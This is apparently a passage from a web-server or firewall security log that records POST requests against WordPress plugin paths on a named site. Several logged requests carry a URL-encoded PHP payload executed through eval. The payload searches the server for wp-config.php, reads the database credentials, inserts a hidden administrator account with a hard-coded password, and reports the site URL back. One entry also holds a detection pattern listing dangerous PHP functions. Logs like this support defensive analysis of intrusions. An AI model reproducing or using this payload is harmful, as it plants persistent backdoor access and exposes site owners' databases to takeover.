20ORDER%20BY%20ID%20ASC%20LIMIT%201%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Euser_url%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20echo%20%22%3Cf%3E%7B%24site_url%7D%40%40%40%7B%24p%7D%3C\/f%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%7D%20%7D%20function%20parse_define_value%28%24line%29%20%7B%20%20%20%20%20if%20%28preg_match%28%22\/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5Cw%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28.%2A%29%5B%27%5C%22%5D%5Cs%2A%5C%29%5Cs%2A%3B\/%22%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20return%20null%3B%20%7D%20function%20scanRootPaths%28%29%20%7B%20%20%20%20%20if%20%28strtoupper%28substr%28PHP_OS%2C%200%2C%203%29%29%20%3D%3D%3D%20%27WIN%27%29%20%7B%20%20%20%20%20%20%20%20%20foreach%20%28range%28%27A%27%2C%20%27Z%27%29%20as%20%24driveLetter%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24drive%20%3D%20%24driveLetter%20.%20%27%3A%5C%5C%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_dir%28%24drive%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24drive%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20scan%28%27\/www\/wwwroot%27%29%3B%20%20%20%20%20%7D%20%7D%20scanRootPaths%28%29%3B%20die%28%27%21ended%21%27%29%3B\"));","POST \/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Resources\/AccessibleBiddingStrategy\/menu.item.table.php HTTP\/1.1\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:12663\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua:\"Chromium\";v=\"116\", \"Not)A;Brand\";v=\"24\", \"Google Chrome\";v=\"116\"\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua-mobile:?0\nsec-fetch-site:none\nhost:dewenlabels.com\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36\nsec-ch-ua-platform:\"Windows\"\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\n\nHJTgNT=eval(rawurldecode(\"%20%20function%20scan%28%24path%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%3D%20%27wp-config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20inject%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20function%20inject%28%24p%29%20%7B%20%20%20%20%20%24user_login%20%3D%20%27adm1n%27%3B%20%20%20%20%20%24user_password%20%3D%20%27Bwn6fOzW0Zc6VfNNCAo1bWRmG2a%27%3B%20%20%20%20%20%24user_email%20%3D%20%27adm1n%40wordpress.com%27%3B%20%20%20%20%20%24data%20%3D%20file_get_contents%28%24p%29%3B%20%20%20%20%20%24pattern%20%3D%20%22\/table_prefix%5Cs%2A%3D%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%3B\/i%22%3B%20%20%20%20%20if%20%28preg_match%28%24pattern%2C%20%24data%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%27wp_%27%3B%20%20%20%20%20%7D%20%20%20%20%20%24lines%20%3D%20array_map%28%27rtrim%27%2C%20file%28%24p%29%29%3B%20%20%20%20%20%24conf%20%3D%20%5B%5D%3B%20%20%20%20%20foreach%20%28%24lines%20as%20%24line%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27\/define%5Cs%2A%5C%28%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%28DB_USER%7CDB_HOST%7CDB_PASSWORD%7CDB_NAME%29%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%2C\/%27%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24conf%5B%24matches%5B1%5D%5D%20%3D%20parse_define_value%28%24line%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28isset%28%24conf%5B%27DB_HOST%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_USER%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_PASSWORD%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_NAME%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20%24mysqli%20%3D%20new%20mysqli%28%24conf%5B%27DB_HOST%27%5D%2C%20%24conf%5B%27DB_USER%27%5D%2C%20%24conf%5B%27DB_PASSWORD%27%5D%2C%20%24conf%5B%27DB_NAME%27%5D%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24add_user_query%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusers%60%20%28%60user_login%60%2C%20%60user_pass%60%2C%20%60user_nicename%60%2C%20%60user_email%60%2C%20%60user_url%60%2C%20%60user_registered%60%2C%20%60user_status%60%2C%20%60display_name%60%29%20SELECT%20%27%7B%24user_login%7D%27%2C%20MD5%28%27%7B%24user_password%7D%27%29%2C%20%27%7B%24user_login%7D%27%2C%20%27%7B%24user_email%7D%27%2C%20%27%27%2C%20%20%20%20%20%20%20%20%20%28SELECT%20%60user_registered%60%20FROM%20%60%7B%24table_prefix%7Dusers%60%20ORDER%20BY%20%60ID%60%20ASC%20LIMIT%201%29%2C%20%20%20%20%20%20%20%20%200%2C%20%27%7B%24user_login%7D%27%20FROM%20DUAL%20WHERE%20NOT%20EXISTS%20%28%20%20%20%20%20SELECT%201%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%7B%24user_login%7D%27%20%29%3B%22%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Equery%28%24add_user_query%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query1%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_capabilities%27%2C%20%27a%3A1%3A%7Bs%3A13%3A%5C%22administrator%5C%22%3Bb%3A1%3B%7D%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query2%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_user_level%27%2C%20%2710%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query1%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query2%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20false%3B%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20option_value%20FROM%20%7B%24table_prefix%7Doptions%20WHERE%20option_name%20%3D%20%27siteurl%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Eoption_value%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%21%24site_url%20%7C%7C%20strpos%28%24site_url%2C%20%27http%27%29%20%21%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20user_url%20FROM%20%7B%24table_prefix%7Dusers%20ORDER%20BY%20ID%20ASC%20LIMIT%201%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Euser_url%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20echo%20%22%3Cf%3E%7B%24site_url%7D%40%40%40%7B%24p%7D%3C\/f%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%7D%20%7D%20function%20parse_define_value%28%24line%29%20%7B%20%20%20%20%20if%20%28preg_match%28%22\/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5Cw%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28.%2A%29%5B%27%5C%22%5D%5Cs%2A%5C%29%5Cs%2A%3B\/%22%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20return%20null%3B%20%7D%20function%20scanRootPaths%28%29%20%7B%20%20%20%20%20if%20%28strtoupper%28substr%28PHP_OS%2C%200%2C%203%29%29%20%3D%3D%3D%20%27WIN%27%29%20%7B%20%20%20%20%20%20%20%20%20foreach%20%28range%28%27A%27%2C%20%27Z%27%29%20as%20%24driveLetter%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24drive%20%3D%20%24driveLetter%20.%20%27%3A%5C%5C%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_dir%28%24drive%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24drive%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20scan%28%27\/www\/wwwroot%27%29%3B%20%20%20%20%20%7D%20%7D%20scanRootPaths%28%29%3B%20die%28%27%21ended%21%27%29%3B\"));"]
["2026-04-18 23:37:11","213.209.159.254","POST","\/wp-content\/plugins\/woocommerce\/assets\/client\/blocks\/cart-link-style.asset.php","Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> VmQHcs:eval(rawurldecode(\"%20%20function%20scan%28%24path%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%3D%20%27wp-config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20inject%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20function%20inject%28%24p%29%20%7B%20%20%20%20%20%24user_login%20%3D%20%27adm1n%27%3B%20%20%20%20%20%24user_password%20%3D%20%27Bwn6fOzW0Zc6VfNNCAo1bWRmG2a%27%3B%20%20%20%20%20%24user_email%20%3D%20%27adm1n%40wordpress.com%27%3B%20%20%20%20%20%24data%20%3D%20file_get_contents%28%24p%29%3B%20%20%20%20%20%24pattern%20%3D%20%22\/table_prefix%5Cs%2A%3D%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%3B\/i%22%3B%20%20%20%20%20if%20%28preg_match%28%24pattern%2C%20%24data%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%27wp_%27%3B%20%20%20%20%20%7D%20%20%20%20%20%24lines%20%3D%20array_map%28%27rtrim%27%2C%20file%28%24p%29%29%3B%20%20%20%20%20%24conf%20%3D%20%5B%5D%3B%20%20%20%20%20foreach%20%28%24lines%20as%20%24line%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27\/define%5Cs%2A%5C%28%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%28DB_USER%7CDB_HOST%7CDB_PASSWORD%7CDB_NAME%29%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%2C\/%27%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24conf%5B%24matches%5B1%5D%5D%20%3D%20parse_define_value%28%24line%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28isset%28%24conf%5B%27DB_HOST%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_USER%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_PASSWORD%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_NAME%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20%24mysqli%20%3D%20new%20mysqli%28%24conf%5B%27DB_HOST%27%5D%2C%20%24conf%5B%27DB_USER%27%5D%2C%20%24conf%5B%27DB_PASSWORD%27%5D%2C%20%24conf%5B%27DB_NAME%27%5D%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24add_user_query%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusers%60%20%28%60user_login%60%2C%20%60user_pass%60%2C%20%60user_nicename%60%2C%20%60user_email%60%2C%20%60user_url%60%2C%20%60user_registered%60%2C%20%60user_status%60%2C%20%60display_name%60%29%20SELECT%20%27%7B%24user_login%7D%27%2C%20MD5%28%27%7B%24user_password%7D%27%29%2C%20%27%7B%24user_login%7D%27%2C%20%27%7B%24user_email%7D%27%2C%20%27%27%2C%20%20%20%20%20%20%20%20%20%28SELECT%20%60user_registered%60%20FROM%20%60%7B%24table_prefix%7Dusers%60%20ORDER%20BY%20%60ID%60%20ASC%20LIMIT%201%29%2C%20%20%20%20%20%20%20%20%200%2C%20%27%7B%24user_login%7D%27%20FROM%20DUAL%20WHERE%20NOT%20EXISTS%20%28%20%20%20%20%20SELECT%201%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%7B%24user_login%7D%27%20%29%3B%22%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Equery%28%24add_user_query%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query1%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_capabilities%27%2C%20%27a%3A1%3A%7Bs%3A13%3A%5C%22administrator%5C%22%3Bb%3A1%3B%7D%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query2%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_user_level%27%2C%20%2710%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query1%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query2%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20false%3B%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20option_value%20FROM%20%7B%24table_prefix%7Doptions%20WHERE%20option_name%20%3D%20%27siteurl%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Eoption_value%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%21%24site_url%20%7C%7C%20strpos%28%24site_url%2C%20%27http%27%29%20%21%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20user_url%20FROM%20%7B%24table_prefix%7Dusers%20ORDER%20BY%20ID%20ASC%20LIMIT%201%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Euser_url%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20echo%20%22%3Cf%3E%7B%24site_url%7D%40%40%40%7B%24p%7D%3C\/f%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%7D%20%7D%20function%20parse_define_value%28%24line%29%20%7B%20%20%20%20%20if%20%28preg_match%28%22\/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5Cw%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28.%2A%29%5B%27%5C%22%5D%5Cs%2A%5C%29%5Cs%2A%3B\/%22%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20return%20null%3B%20%7D%20function%20scanRootPaths%28%29%20%7B%20%20%20%20%20if%20%28strtoupper%28substr%28PHP_OS%2C%200%2C%203%29%29%20%3D%3D%3D%20%27WIN%27%29%20%7B%20%20%20%20%20%20%20%20%20foreach%20%28range%28%27A%27%2C%20%27Z%27%29%20as%20%24driveLetter%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24drive%20%3D%20%24driveLetter%20.%20%27%3A%5C%5C%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_dir%28%24drive%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24drive%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20scan%28%27\/www\/wwwroot%27%29%3B%20%20%20%20%20%7D%20%7D%20scanRootPaths%28%29%3B%20die%28%27%21ended%21%27%29%3B\"));","POST \/wp-content\/plugins\/woocommerce\/assets\/client\/blocks\/cart-link-style.asset.php HTTP\/1.1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\nuser-agent:Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1\ncontent-length:12663\naccept:*\/*\naccept-encoding:gzip,deflate\nsec-fetch-mode:navigate\nsec-fetch-site:none\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-dest:document\n\nVmQHcs=eval(rawurldecode(\"%20%20function%20scan%28%24path%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%3D%20%27wp-config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20inject%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20function%20inject%28%24p%29%20%7B%20%20%20%20%20%24user_login%20%3D%20%27adm1n%27%3B%20%20%20%20%20%24user_password%20%3D%20%27Bwn6fOzW0Zc6VfNNCAo1bWRmG2a%27%3B%20%20%20%20%20%24user_email%20%3D%20%27adm1n%40wordpress.com%27%3B%20%20%20%20%20%24data%20%3D%20file_get_contents%28%24p%29%3B%20%20%20%20%20%24pattern%20%3D%20%22\/table_prefix%5Cs%2A%3D%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%3B\/i%22%3B%20%20%20%20%20if%20%28preg_match%28%24pattern%2C%20%24data%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%24matches%5B1%5D%3B%20%20%